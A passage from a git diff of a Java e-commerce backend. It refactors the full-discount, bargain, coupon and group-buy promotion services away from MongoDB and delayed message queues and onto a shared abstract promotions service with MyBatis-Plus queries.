com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.core.metadata.IPage; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.data.mongodb.core.MongoTemplate; -import org.springframework.data.mongodb.core.query.Criteria; -import org.springframework.data.mongodb.core.query.Query; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; +import java.util.ArrayList; +import java.util.Collections; import java.util.Date; import java.util.List; @@ -46,26 +34,8 @@ import java.util.List; */ @Service @Transactional(rollbackFor = Exception.class) -public class FullDiscountServiceImpl extends ServiceImpl implements FullDiscountService { +public class FullDiscountServiceImpl extends AbstractPromotionsServiceImpl implements FullDiscountService { - private static final String SELLER_ID_COLUMN = "storeId"; - private static final String PROMOTION_STATUS_COLUMN = "promotionStatus"; - - /** - * 延时任务 - */ - @Autowired - private TimeTrigger timeTrigger; - /** - * Mongo - */ - @Autowired - private MongoTemplate mongoTemplate; - /** - * Rocketmq - */ - @Autowired - private RocketmqCustomProperties rocketmqCustomProperties; /** * 优惠券 */ @@ -79,95 +49,21 @@ public class FullDiscountServiceImpl extends ServiceImpl currentPromotion(List storeId) { - Query query = this.getMongoQuery(); - query.addCriteria(Criteria.where(SELLER_ID_COLUMN).in(storeId)); - return mongoTemplate.find(query, FullDiscountVO.class); - } - - @Override - public FullDiscount addFullDiscount(FullDiscountVO fullDiscountVO) { - //验证是否是有效参数 - PromotionTools.paramValid(fullDiscountVO.getStartTime().getTime(), fullDiscountVO.getEndTime().getTime(), fullDiscountVO.getNumber(), fullDiscountVO.getPromotionGoodsList()); - //当前时间段是否存在同类活动 - this.checkSameActiveExist(fullDiscountVO.getStartTime(), fullDiscountVO.getEndTime(), fullDiscountVO.getStoreId(), null); - //检查满减参数 - this.checkFullDiscount(fullDiscountVO); - //保存到MYSQL中 - this.save(fullDiscountVO); - if (fullDiscountVO.getPromotionGoodsList() != null) { - List promotionGoodsList = PromotionTools.promotionGoodsInit(fullDiscountVO.getPromotionGoodsList(), fullDiscountVO, PromotionTypeEnum.FULL_DISCOUNT); - //促销活动商品更新 - this.promotionGoodsService.saveOrUpdateBatch(promotionGoodsList); + List result = new ArrayList<>(); + QueryWrapper queryWrapper = new QueryWrapper<>(); + queryWrapper.in(storeId != null && !storeId.isEmpty(), "store_id", storeId); + queryWrapper.and(PromotionTools.queryPromotionStatus(PromotionsStatusEnum.START)); + List list = this.list(queryWrapper); + if (list != null) { + for (FullDiscount fullDiscount : list) { + PromotionGoodsSearchParams searchParams = new PromotionGoodsSearchParams(); + searchParams.setPromotionId(fullDiscount.getId()); + FullDiscountVO fullDiscountVO = new FullDiscountVO(fullDiscount); + fullDiscountVO.setPromotionGoodsList(promotionGoodsService.listFindAll(searchParams)); + result.add(fullDiscountVO); + } } - //保存到MONGO中 - this.mongoTemplate.save(fullDiscountVO); - PromotionMessage promotionMessage = new PromotionMessage(fullDiscountVO.getId(), PromotionTypeEnum.FULL_DISCOUNT.name(), - PromotionStatusEnum.START.name(), - fullDiscountVO.getStartTime(), fullDiscountVO.getEndTime()); - - TimeTriggerMsg timeTriggerMsg = new TimeTriggerMsg(TimeExecuteConstant.PROMOTION_EXECUTOR, - fullDiscountVO.getStartTime().getTime(), promotionMessage, - DelayQueueTools.wrapperUniqueKey(DelayTypeEnums.PROMOTION, (promotionMessage.getPromotionType() + promotionMessage.getPromotionId())), - rocketmqCustomProperties.getPromotionTopic()); - //发送促销活动开始的延时任务 - this.timeTrigger.addDelay(timeTriggerMsg); - return fullDiscountVO; - } - - @Override - public IPage getFullDiscountByPageFromMysql(FullDiscountSearchParams searchParams, PageVO page) { - QueryWrapper queryWrapper = searchParams.wrapper(); - return this.page(PageUtil.initPage(page), queryWrapper); - } - - @Override - public IPage getFullDiscountByPageFromMongo(FullDiscountSearchParams searchParams, PageVO page) { - IPage fullDiscountPage = new Page<>(); - Query query = searchParams.mongoQuery(); - if (page != null) { - PromotionTools.mongoQueryPageParam(query, page); - fullDiscountPage.setCurrent(page.getPageNumber()); - fullDiscountPage.setSize(page.getPageSize()); - } - List fullDiscountVOS = this.mongoTemplate.find(query, FullDiscountVO.class); - fullDiscountPage.setRecords(fullDiscountVOS); - fullDiscountPage.setTotal(this.mongoTemplate.count(query, FullDiscountVO.class)); - return fullDiscountPage; - } - - @Override - public FullDiscountVO modifyFullDiscount(FullDiscountVO fullDiscountVO) { - //检查满优惠活动是否存在 - FullDiscountVO fullDiscount = this.checkFullDiscountExist(fullDiscountVO.getId()); - if (!fullDiscount.getPromotionStatus().equals(PromotionStatusEnum.NEW.name())) { - throw new ServiceException(ResultCode.FULL_DISCOUNT_MODIFY_ERROR); - } - //检查活动是否已经开始 - PromotionTools.checkPromotionTime(fullDiscountVO.getStartTime().getTime(), fullDiscountVO.getEndTime().getTime()); - //检查满减参数 - this.checkFullDiscount(fullDiscountVO); - //时间发生变化 - if (!fullDiscount.getStartTime().equals(fullDiscountVO.getStartTime()) && fullDiscount.getEndTime().equals(fullDiscountVO.getEndTime())) { - //检查当前时间段是否存在同类活动 - this.checkSameActiveExist(fullDiscountVO.getStartTime(), fullDiscountVO.getEndTime(), fullDiscountVO.getStoreId(), fullDiscount.getId()); - - } - //更新到MYSQL中 - this.updateById(fullDiscountVO); - if (fullDiscountVO.getPromotionGoodsList() != null) { - //促销活动商品更新 - this.promotionGoodsService.updateBatchById(PromotionTools.promotionGoodsInit(fullDiscountVO.getPromotionGoodsList(), fullDiscountVO, PromotionTypeEnum.FULL_DISCOUNT)); - } - //保存到MONGO中 - this.mongoTemplate.save(fullDiscountVO); - PromotionMessage promotionMessage = new PromotionMessage(fullDiscountVO.getId(), PromotionTypeEnum.FULL_DISCOUNT.name(), PromotionStatusEnum.START.name(), fullDiscountVO.getStartTime(), fullDiscountVO.getEndTime()); - //发送更新延时任务 - this.timeTrigger.edit(TimeExecuteConstant.PROMOTION_EXECUTOR, promotionMessage, - fullDiscount.getStartTime().getTime(), fullDiscountVO.getStartTime().getTime(), - DelayQueueTools.wrapperUniqueKey(DelayTypeEnums.PROMOTION, (promotionMessage.getPromotionType() + promotionMessage.getPromotionId())), - DateUtil.getDelayTime(fullDiscountVO.getStartTime().getTime()), - rocketmqCustomProperties.getPromotionTopic()); - return fullDiscountVO; + return result; } /** @@ -178,64 +74,74 @@ public class FullDiscountServiceImpl extends ServiceImpl fullDiscountVOList = this.mongoTemplate.find(query, FullDiscountVO.class); - - //判断满额活动是否为空 - if (fullDiscountVOList.isEmpty() || fullDiscountVOList == null) { - throw new ServiceException(ResultCode.FULL_DISCOUNT_NOT_EXIST_ERROR); - } - FullDiscountVO fullDiscountVO = fullDiscountVOList.get(0); - - //如果是开启活动则需要校验参数 - if (promotionStatus.equals(PromotionStatusEnum.START)) { + public void checkPromotions(FullDiscount promotions) { + super.checkPromotions(promotions); + if (promotions instanceof FullDiscountVO) { + FullDiscountVO fullDiscountVO = (FullDiscountVO) promotions; //验证是否是有效参数 - PromotionTools.paramValid(fullDiscountVO.getStartTime().getTime(), fullDiscountVO.getEndTime().getTime(), fullDiscountVO.getNumber(), fullDiscountVO.getPromotionGoodsList()); - //当前时间段是否存在同类活动 - this.checkSameActiveExist(fullDiscountVO.getStartTime(), fullDiscountVO.getEndTime(), fullDiscountVO.getStoreId(), null); - //检查满减参数 - this.checkFullDiscount(fullDiscountVO); + PromotionTools.paramValid(fullDiscountVO.getStartTime(), fullDiscountVO.getEndTime(), fullDiscountVO.getNumber(), fullDiscountVO.getPromotionGoodsList()); } - //填写活动状态 - fullDiscountVO.setPromotionStatus(promotionStatus.name()); + //当前时间段是否存在同类活动 + this.checkSameActiveExist(promotions.getStartTime(), promotions.getEndTime(), promotions.getStoreId(), promotions.getId()); + //检查满减参数 + this.checkFullDiscount(promotions); - //保存到MYSQL中 - this.updateById(fullDiscountVO); + } - //添加促销消息 - PromotionMessage promotionMessage = new PromotionMessage(fullDiscountVO.getId(), PromotionTypeEnum.FULL_DISCOUNT.name(), - promotionStatus.name(), - fullDiscountVO.getStartTime(), fullDiscountVO.getEndTime()); - //添加延时任务 - TimeTriggerMsg timeTriggerMsg = new TimeTriggerMsg(TimeExecuteConstant.PROMOTION_EXECUTOR, - fullDiscountVO.getStartTime().getTime(), promotionMessage, - DelayQueueTools.wrapperUniqueKey(DelayTypeEnums.PROMOTION, (promotionMessage.getPromotionType() + promotionMessage.getPromotionId())), - rocketmqCustomProperties.getPromotionTopic()); - //发送促销活动开始的延时任务 - this.timeTrigger.addDelay(timeTriggerMsg); - return true; + /** + * 更新促销商品信息 + * + * @param promotions 促销实体 + */ + @Override + public void updatePromotionsGoods(FullDiscount promotions) { + super.updatePromotionsGoods(promotions); + if (!PromotionsStatusEnum.CLOSE.name().equals(promotions.getPromotionStatus()) + && PromotionsScopeTypeEnum.PORTION_GOODS.name().equals(promotions.getScopeType()) + && promotions instanceof FullDiscountVO) { + FullDiscountVO fullDiscountVO = (FullDiscountVO) promotions; + List promotionGoodsList = PromotionTools.promotionGoodsInit(fullDiscountVO.getPromotionGoodsList(), fullDiscountVO, PromotionTypeEnum.FULL_DISCOUNT); + this.promotionGoodsService.deletePromotionGoods(Collections.singletonList(promotions.getId())); + //促销活动商品更新 + this.promotionGoodsService.saveBatch(promotionGoodsList); + } + + } + + /** + * 更新促销信息到商品索引 + * + * @param promotions 促销实体 + */ + @Override + public void updateEsGoodsIndex(FullDiscount promotions) { + FullDiscount fullDiscount = JSONUtil.parse(promotions).toBean(FullDiscount.class); + super.updateEsGoodsIndex(fullDiscount); + } + + /** + * 当前促销类型 + * + * @return 当前促销类型 + */ + @Override + public PromotionTypeEnum getPromotionType() { + return PromotionTypeEnum.FULL_DISCOUNT; } /** @@ -244,48 +150,49 @@ public class FullDiscountServiceImpl extends ServiceImpl queryWrapper = PromotionTools.checkActiveTime(statTime, endTime, PromotionTypeEnum.FULL_DISCOUNT, storeId, id); - Integer sameNum = this.count(queryWrapper); + long sameNum = this.count(queryWrapper); if (sameNum > 0) { throw new ServiceException(ResultCode.PROMOTION_SAME_ACTIVE_EXIST); } @@ -357,18 +264,4 @@ public class FullDiscountServiceImpl extends ServiceImpl kanjiaActivityGoodsList = new ArrayList<>(); + List promotionGoodsList = new ArrayList<>(); for (KanjiaActivityGoodsDTO kanJiaActivityGoodsDTO : kanJiaActivityGoodsOperationDTO.getPromotionGoodsList()) { //根据skuId查询商品信息 GoodsSku goodsSku = this.checkSkuExist(kanJiaActivityGoodsDTO.getSkuId()); //参数检测 this.checkParam(kanJiaActivityGoodsDTO, goodsSku); //检测同一时间段是否存在相同的商品 - PromotionTools.checkPromotionTime(kanJiaActivityGoodsOperationDTO.getStartTime().getTime(), kanJiaActivityGoodsOperationDTO.getEndTime().getTime()); + PromotionTools.checkPromotionTime(kanJiaActivityGoodsOperationDTO.getStartTime(), kanJiaActivityGoodsOperationDTO.getEndTime()); kanJiaActivityGoodsDTO.setStartTime(kanJiaActivityGoodsOperationDTO.getStartTime()); kanJiaActivityGoodsDTO.setEndTime(kanJiaActivityGoodsOperationDTO.getEndTime()); //检测同一时间段不能允许添加相同的商品 if (this.checkSkuDuplicate(goodsSku.getId(), kanJiaActivityGoodsDTO) != null) { throw new ServiceException("商品id为" + goodsSku.getId() + "的商品已参加砍价商品活动!"); } - kanJiaActivityGoodsDTO.setGoodsSku(goodsSku); kanJiaActivityGoodsDTO.setSkuId(kanJiaActivityGoodsDTO.getSkuId()); kanJiaActivityGoodsDTO.setThumbnail(goodsSku.getThumbnail()); kanJiaActivityGoodsDTO.setGoodsName(goodsSku.getGoodsName()); - kanJiaActivityGoodsDTO.setPromotionStatus(PromotionStatusEnum.NEW.name()); - kanJiaActivityGoodsDTO.setOriginalPrice(kanJiaActivityGoodsDTO.getGoodsSku().getPrice()); + kanJiaActivityGoodsDTO.setOriginalPrice(goodsSku.getPrice()); kanjiaActivityGoodsList.add(kanJiaActivityGoodsDTO); + promotionGoodsList.add(new PromotionGoods(kanJiaActivityGoodsDTO)); } - Boolean result = this.saveBatch(kanjiaActivityGoodsList); - if (result) { - //发送砍价延迟任务消息 - for (KanjiaActivityGoodsDTO kanJiaActivityGoodsDTO : kanJiaActivityGoodsOperationDTO.getPromotionGoodsList()) { - this.mongoTemplate.save(kanJiaActivityGoodsDTO); - this.addKanJiaGoodsPromotionTask(kanJiaActivityGoodsDTO); - } - } - return result; + this.promotionGoodsService.saveBatch(promotionGoodsList); + return this.saveBatch(kanjiaActivityGoodsList); } - /** - * 添加砍价商品mq任务 - * - * @param kanJiaActivityGoods 砍价商品信息 - */ - private void addKanJiaGoodsPromotionTask(KanjiaActivityGoodsDTO kanJiaActivityGoods) { - PromotionMessage promotionMessage = new PromotionMessage(kanJiaActivityGoods.getId(), PromotionTypeEnum.KANJIA.name(), - PromotionStatusEnum.START.name(), - kanJiaActivityGoods.getStartTime(), kanJiaActivityGoods.getEndTime()); - TimeTriggerMsg timeTriggerMsg = new TimeTriggerMsg(TimeExecuteConstant.PROMOTION_EXECUTOR, - promotionMessage.getStartTime().getTime(), - promotionMessage, - DelayQueueTools.wrapperUniqueKey(DelayTypeEnums.PROMOTION, (promotionMessage.getPromotionType() + promotionMessage.getPromotionId())), - rocketmqCustomProperties.getPromotionTopic()); - //发送促销活动开始的延时任务 - this.timeTrigger.addDelay(timeTriggerMsg); - } - @Override - public IPage getForPage(KanjiaActivityGoodsParams kanJiaActivityGoodsParams, PageVO pageVO) { - IPage kanJiaActivityGoodsDTOIPage = new Page<>(); - Query query = kanJiaActivityGoodsParams.mongoQuery(); - if (pageVO != null) { - PromotionTools.mongoQueryPageParam(query, pageVO); - kanJiaActivityGoodsDTOIPage.setSize(pageVO.getPageSize()); - kanJiaActivityGoodsDTOIPage.setCurrent(pageVO.getPageNumber()); - } - List kanJiaActivityGoodsDTOS = this.mongoTemplate.find(query, KanjiaActivityGoodsDTO.class); - kanJiaActivityGoodsDTOIPage.setRecords(kanJiaActivityGoodsDTOS); - kanJiaActivityGoodsDTOIPage.setTotal(this.mongoTemplate.count(kanJiaActivityGoodsParams.mongoQuery(), KanjiaActivityGoodsDTO.class)); - return kanJiaActivityGoodsDTOIPage; + public IPage getForPage(KanjiaActivityGoodsParams kanJiaActivityGoodsParams, PageVO pageVO) { + return this.page(PageUtil.initPage(pageVO), kanJiaActivityGoodsParams.wrapper()); } @Override public IPage kanjiaGoodsVOPage(KanjiaActivityGoodsParams kanjiaActivityGoodsParams, PageVO pageVO) { - return this.baseMapper.kanjiaActivityGoodsVOPage(PageUtil.initPage(pageVO),kanjiaActivityGoodsParams.wrapper()); + return this.baseMapper.kanjiaActivityGoodsVOPage(PageUtil.initPage(pageVO), kanjiaActivityGoodsParams.wrapper()); } @@ -217,16 +157,22 @@ public class KanjiaActivityGoodsServiceImpl extends ServiceImpl queryWrapper = new LambdaQueryWrapper<>(); - queryWrapper.eq(KanjiaActivityGoods::getSkuId, skuId); - if (kanJiaActivityGoodsDTO != null && StrUtil.isNotEmpty(kanJiaActivityGoodsDTO.getId())) { - queryWrapper.ne(KanjiaActivityGoods::getId, kanJiaActivityGoodsDTO.getId()); + QueryWrapper queryWrapper = new QueryWrapper<>(); + queryWrapper.eq("sku_id", skuId); + if (kanJiaActivityGoodsDTO != null && CharSequenceUtil.isNotEmpty(kanJiaActivityGoodsDTO.getId())) { + queryWrapper.ne("id", kanJiaActivityGoodsDTO.getId()); } - queryWrapper.ne(KanjiaActivityGoods::getPromotionStatus, PromotionStatusEnum.END.name()); + queryWrapper.and(i -> i + .or(PromotionTools.queryPromotionStatus(PromotionsStatusEnum.START)) + .or(PromotionTools.queryPromotionStatus(PromotionsStatusEnum.NEW))); - queryWrapper.ge(KanjiaActivityGoods::getStartTime, kanJiaActivityGoodsDTO.getStartTime()); + if (kanJiaActivityGoodsDTO != null && kanJiaActivityGoodsDTO.getStartTime() != null) { + queryWrapper.ge("start_time", kanJiaActivityGoodsDTO.getStartTime()); + } - queryWrapper.le(KanjiaActivityGoods::getEndTime, kanJiaActivityGoodsDTO.getEndTime()); + if (kanJiaActivityGoodsDTO != null && kanJiaActivityGoodsDTO.getEndTime() != null) { + queryWrapper.le("end_time", kanJiaActivityGoodsDTO.getEndTime()); + } return this.getOne(queryWrapper); @@ -234,22 +180,27 @@ public class KanjiaActivityGoodsServiceImpl extends ServiceImpl kanjiaActivityGoodsDTOS = this.mongoTemplate.find(query, KanjiaActivityGoodsDTO.class); - return kanjiaActivityGoodsDTOS.get(0); + public KanjiaActivityGoods getKanjiaGoodsBySkuId(String skuId) { + KanjiaActivityGoods kanjiaActivityGoods = this.getOne(new QueryWrapper().eq("sku_id", skuId), false); + if (kanjiaActivityGoods != null && PromotionsStatusEnum.START.name().equals(kanjiaActivityGoods.getPromotionStatus())) { + return kanjiaActivityGoods; + } + return null; } @Override @@ -257,7 +208,7 @@ public class KanjiaActivityGoodsServiceImpl extends ServiceImpl ids) { - List skuIds = new ArrayList<>(); - for (String id : ids) { - KanjiaActivityGoodsDTO kanJiaActivityGoodsDTO = this.getKanjiaGoodsDetail(id); - this.timeTrigger.delete(TimeExecuteConstant.PROMOTION_EXECUTOR, - kanJiaActivityGoodsDTO.getStartTime().getTime(), - DelayQueueTools.wrapperUniqueKey(DelayTypeEnums.PROMOTION, (PromotionTypeEnum.KANJIA.name() + kanJiaActivityGoodsDTO.getId())), - rocketmqCustomProperties.getPromotionTopic()); - skuIds.add(kanJiaActivityGoodsDTO.getSkuId()); - } - boolean result = this.removeByIds(ids); - if (result) { - Query query = new Query(); - query.addCriteria(new Criteria("id").in(ids)); - this.mongoTemplate.remove(query, KanjiaActivityGoodsDTO.class); - } - return result; - } - - - @Override - public KanjiaActivityGoodsDTO getKanJiaGoodsBySku(String skuId) { - //mongo查询条件 - Query query = new Query(); - query.addCriteria(Criteria.where("skuId").is(skuId)) - .addCriteria(Criteria.where("promotionStatus").is(PromotionStatusEnum.START.name())); - List kanjiaActivityGoodsDTOList=this.mongoTemplate.find(query, KanjiaActivityGoodsDTO.class); - return kanjiaActivityGoodsDTOList.get(0); + PromotionGoodsSearchParams searchParams = new PromotionGoodsSearchParams(); + searchParams.setPromotionIds(ids); + this.promotionGoodsService.deletePromotionGoods(searchParams); + return this.removeByIds(ids); } } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/KanjiaActivityLogServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/KanjiaActivityLogServiceImpl.java index cda873f1..88152983 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/KanjiaActivityLogServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/KanjiaActivityLogServiceImpl.java @@ -11,7 +11,7 @@ import cn.lili.modules.promotion.entity.dos.KanjiaActivityGoods; import cn.lili.modules.promotion.entity.dos.KanjiaActivityLog; import cn.lili.modules.promotion.entity.dto.KanJiaActivityLogQuery; import cn.lili.modules.promotion.entity.dto.KanjiaActivityDTO; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; +import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; import cn.lili.modules.promotion.mapper.KanJiaActivityLogMapper; import cn.lili.modules.promotion.service.KanjiaActivityGoodsService; import cn.lili.modules.promotion.service.KanjiaActivityLogService; @@ -62,7 +62,7 @@ public class KanjiaActivityLogServiceImpl extends ServiceImpl() .eq(KanjiaActivityLog::getKanjiaActivityId, kanjiaActivity.getId()) - .eq(KanjiaActivityLog::getKanjiaMemberId, UserContext.getCurrentUser().getId())); + .eq(KanjiaActivityLog::getKanjiaMemberId, authUser.getId())); if (kanjiaActivityLog == null) { kanjiaActivityVO.setHelp(true); } @@ -91,15 +95,16 @@ public class KanjiaActivityServiceImpl extends ServiceImpl queryWrapper = new QueryWrapper<>(); queryWrapper.eq("kanjia_activity_goods_id", kanJiaActivityGoods.getId()); @@ -110,7 +115,7 @@ public class KanjiaActivityServiceImpl extends ServiceImpl() + LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() .eq(KanjiaActivityLog::getKanjiaActivityId, kanjiaActivityId) .eq(KanjiaActivityLog::getKanjiaMemberId, member.getId()); if (kanjiaActivityLogService.count(lambdaQueryWrapper) > 0) { @@ -188,7 +194,7 @@ public class KanjiaActivityServiceImpl extends ServiceImpl= coupon.getPublishNum()) { @@ -63,18 +62,29 @@ public class MemberCouponServiceImpl extends ServiceImpl getMemberCoupons(CouponSearchParams param, PageVO pageVo) { - QueryWrapper queryWrapper = param.wrapper(); + QueryWrapper queryWrapper = param.queryWrapper(); return this.page(PageUtil.initPage(pageVo), queryWrapper); } @Override public List getMemberCoupons() { - LambdaQueryWrapper LambdaQueryWrapper = new LambdaQueryWrapper<>(); - LambdaQueryWrapper.eq(MemberCoupon::getMemberId,UserContext.getCurrentUser().getId()); - LambdaQueryWrapper.eq(MemberCoupon::getMemberCouponStatus,MemberCouponStatusEnum.NEW.name()); - LambdaQueryWrapper.le(MemberCoupon::getStartTime,new Date()); - LambdaQueryWrapper.ge(MemberCoupon::getEndTime,new Date()); - return this.list(LambdaQueryWrapper); + AuthUser authUser = Objects.requireNonNull(UserContext.getCurrentUser()); + LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); + queryWrapper.eq(MemberCoupon::getMemberId, authUser.getId()); + queryWrapper.eq(MemberCoupon::getMemberCouponStatus, MemberCouponStatusEnum.NEW.name()); + queryWrapper.le(MemberCoupon::getStartTime, new Date()); + queryWrapper.ge(MemberCoupon::getEndTime, new Date()); + return this.list(queryWrapper); } /** @@ -112,7 +123,7 @@ public class MemberCouponServiceImpl extends ServiceImpl i.like(MemberCoupon::getScopeId, param.getScopeId()) - .or(j -> j.eq(MemberCoupon::getScopeType, CouponScopeTypeEnum.ALL.name()))); + .or(j -> j.eq(MemberCoupon::getScopeType, PromotionsScopeTypeEnum.ALL.name()))); queryWrapper.eq(MemberCoupon::getMemberCouponStatus, MemberCouponStatusEnum.NEW.name()); queryWrapper.le(MemberCoupon::getConsumeThreshold, totalPrice); queryWrapper.ge(MemberCoupon::getEndTime, new Date()); @@ -132,7 +143,7 @@ public class MemberCouponServiceImpl extends ServiceImpl queryWrapper = new LambdaQueryWrapper<>(); queryWrapper.eq(MemberCoupon::getMemberId, memberId); queryWrapper.eq(MemberCoupon::getMemberCouponStatus, MemberCouponStatusEnum.NEW.name()); - queryWrapper.eq(MemberCoupon::getScopeType, CouponScopeTypeEnum.ALL.name()); + queryWrapper.eq(MemberCoupon::getScopeType, PromotionsScopeTypeEnum.ALL.name()); queryWrapper.ge(MemberCoupon::getEndTime, new Date()).and(i -> i.in(MemberCoupon::getStoreId, storeId).or(j -> j.eq(MemberCoupon::getIsPlatform, true))); return this.list(queryWrapper); } @Override public Integer getMemberCouponsNum() { + AuthUser authUser = Objects.requireNonNull(UserContext.getCurrentUser()); QueryWrapper queryWrapper = Wrappers.query(); - queryWrapper.eq("member_id", UserContext.getCurrentUser().getId()); + queryWrapper.eq("member_id", authUser.getId()); queryWrapper.eq("member_coupon_status", MemberCouponStatusEnum.NEW.name()); queryWrapper.eq("delete_flag", false); return this.count(queryWrapper); @@ -222,4 +234,27 @@ public class MemberCouponServiceImpl extends ServiceImpl couponIds) { + LambdaUpdateWrapper memberCouponLambdaUpdateWrapper = new LambdaUpdateWrapper() + .in(MemberCoupon::getCouponId, couponIds) + .set(MemberCoupon::getMemberCouponStatus, MemberCouponStatusEnum.CLOSED.name()); + this.update(memberCouponLambdaUpdateWrapper); + } + + private void receiverCoupon(String couponId, String memberId, String memberName, Coupon coupon) { + this.checkCouponLimit(couponId, memberId); + MemberCoupon memberCoupon = new MemberCoupon(coupon); + memberCoupon.setMemberId(memberId); + memberCoupon.setMemberName(memberName); + memberCoupon.setMemberCouponStatus(MemberCouponStatusEnum.NEW.name()); + memberCoupon.setIsPlatform(("platform").equals(coupon.getStoreId())); + this.save(memberCoupon); + couponService.receiveCoupon(couponId, 1); + } } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PintuanServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PintuanServiceImpl.java index 46e1f027..136ad57e 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PintuanServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PintuanServiceImpl.java @@ -1,47 +1,33 @@ package cn.lili.modules.promotion.serviceimpl; import cn.hutool.core.bean.BeanUtil; -import cn.hutool.core.util.StrUtil; +import cn.hutool.core.text.CharSequenceUtil; +import cn.hutool.json.JSONUtil; import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; -import cn.lili.common.properties.RocketmqCustomProperties; -import cn.lili.common.utils.DateUtil; -import cn.lili.common.vo.PageVO; import cn.lili.modules.goods.service.GoodsSkuService; import cn.lili.modules.member.entity.dos.Member; import cn.lili.modules.member.service.MemberService; import cn.lili.modules.order.order.entity.dos.Order; +import cn.lili.modules.order.order.entity.dto.OrderSearchParams; import cn.lili.modules.order.order.entity.enums.OrderStatusEnum; import cn.lili.modules.order.order.entity.enums.PayStatusEnum; import cn.lili.modules.order.order.service.OrderService; import cn.lili.modules.promotion.entity.dos.Pintuan; import cn.lili.modules.promotion.entity.dos.PromotionGoods; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; +import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; +import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; import cn.lili.modules.promotion.entity.vos.PintuanMemberVO; -import cn.lili.modules.promotion.entity.vos.PintuanSearchParams; import cn.lili.modules.promotion.entity.vos.PintuanShareVO; import cn.lili.modules.promotion.entity.vos.PintuanVO; +import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams; import cn.lili.modules.promotion.mapper.PintuanMapper; import cn.lili.modules.promotion.service.PintuanService; import cn.lili.modules.promotion.service.PromotionGoodsService; import cn.lili.modules.promotion.tools.PromotionTools; -import cn.lili.mybatis.util.PageUtil; -import cn.lili.trigger.enums.DelayTypeEnums; -import cn.lili.trigger.interfaces.TimeTrigger; -import cn.lili.trigger.message.PromotionMessage; -import cn.lili.trigger.model.TimeExecuteConstant; -import cn.lili.trigger.model.TimeTriggerMsg; -import cn.lili.trigger.util.DelayQueueTools; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; -import com.baomidou.mybatisplus.core.metadata.IPage; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.data.mongodb.core.MongoTemplate; -import org.springframework.data.mongodb.core.query.Query; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; @@ -59,18 +45,8 @@ import java.util.stream.Collectors; */ @Service @Transactional(rollbackFor = Exception.class) -public class PintuanServiceImpl extends ServiceImpl implements PintuanService { +public class PintuanServiceImpl extends AbstractPromotionsServiceImpl implements PintuanService { - /** - * 延时任务 - */ - @Autowired - private TimeTrigger timeTrigger; - /** - * Mongo - */ - @Autowired - private MongoTemplate mongoTemplate; /** * 促销商品 */ @@ -86,23 +62,12 @@ public class PintuanServiceImpl extends ServiceImpl impl */ @Autowired private MemberService memberService; - /** - * RocketMQ - */ - @Autowired - private RocketmqCustomProperties rocketmqCustomProperties; /** * 订单 */ @Autowired private OrderService orderService; - @Override - public IPage getPintuanByPage(PintuanSearchParams param, PageVO page) { - QueryWrapper queryWrapper = param.wrapper(); - return page(PageUtil.initPage(page), queryWrapper); - } - /** * 获取当前拼团的会员 * @@ -112,53 +77,29 @@ public class PintuanServiceImpl extends ServiceImpl impl @Override public List getPintuanMember(String pintuanId) { List members = new ArrayList<>(); - PintuanVO pintuan = this.getPintuanByIdFromMongo(pintuanId); + Pintuan pintuan = this.getById(pintuanId); if (pintuan == null) { log.error("拼团活动为" + pintuanId + "的拼团活动不存在!"); return new ArrayList<>(); } - LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); - queryWrapper.eq(Order::getPromotionId, pintuanId) - .eq(Order::getOrderPromotionType, PromotionTypeEnum.PINTUAN.name()) - .eq(Order::getOrderStatus, OrderStatusEnum.PAID.name()) - .eq(Order::getParentOrderSn, ""); - List orders = orderService.list(queryWrapper); + OrderSearchParams searchParams = new OrderSearchParams(); + searchParams.setOrderStatus(OrderStatusEnum.PAID.name()); + searchParams.setPromotionId(pintuanId); + searchParams.setOrderPromotionType(PromotionTypeEnum.PINTUAN.name()); + searchParams.setParentOrderSn(""); + List orders = orderService.queryListByParams(searchParams); //遍历订单状态为已支付,为团长的拼团订单 for (Order order : orders) { Member member = memberService.getById(order.getMemberId()); PintuanMemberVO memberVO = new PintuanMemberVO(member); - LambdaQueryWrapper countQueryWrapper = new LambdaQueryWrapper<>(); - countQueryWrapper.eq(Order::getOrderStatus, OrderStatusEnum.PAID.name()); - countQueryWrapper.and(i -> i.eq(Order::getSn, order.getSn()).or(j -> j.eq(Order::getParentOrderSn, order.getSn()))); //获取已参团人数 - int count = orderService.count(countQueryWrapper); - //获取待参团人数 - int toBoGrouped = pintuan.getRequiredNum() - count; - memberVO.setGroupNum(pintuan.getRequiredNum()); - memberVO.setGroupedNum(count); - memberVO.setToBeGroupedNum(toBoGrouped); + this.setMemberVONum(memberVO, pintuan.getRequiredNum(), order.getSn()); 